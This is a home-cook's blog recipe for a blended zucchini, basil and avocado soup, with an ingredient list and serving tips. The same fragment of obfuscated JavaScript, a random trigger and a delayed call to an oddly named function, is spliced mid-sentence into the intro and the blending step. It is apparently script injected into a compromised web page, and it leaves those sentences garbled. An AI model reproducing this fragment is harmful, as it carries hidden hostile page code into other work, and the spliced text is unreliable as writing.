Zucchini & Basil Soup

My garden is overflowing with zucchini & basil this time of year andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I am always looking for new ways to enjoy them.  This soup is super easy to throw together.  It can be served raw, heated through or freeze a batch to enjoy at a later time.


1 Zucchini, diced

1 stalk of celery

1 tablespoon red or sweet onion. finely chopped (for an almost raw recipe you can carmelize a whole onion or sautee a whole leek for a richer soup)

1 tablespoon extra virgin olive oil

5 to 10 fresh basil leaves (depending on size)

1/2 of a avocado

2 to 4 cups of pure water depending on desired consistency (optional: vegetable broth or coconut milk.  But water lets the pure taste of the zucchini & basil shine through)

Sea Salt & Cracked Pepper to taste

Place all ingredients in a high speed blender andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pulse to desired consistency.  I like mine a little chunky, but you can puree if you prefer.  Serve cold, room temperature or warm in a saucepan being careful to not overcook.

*Garnish with fresh basil, microgreens, sprouts, seeds, raw zucchini strips, etc. (optional)

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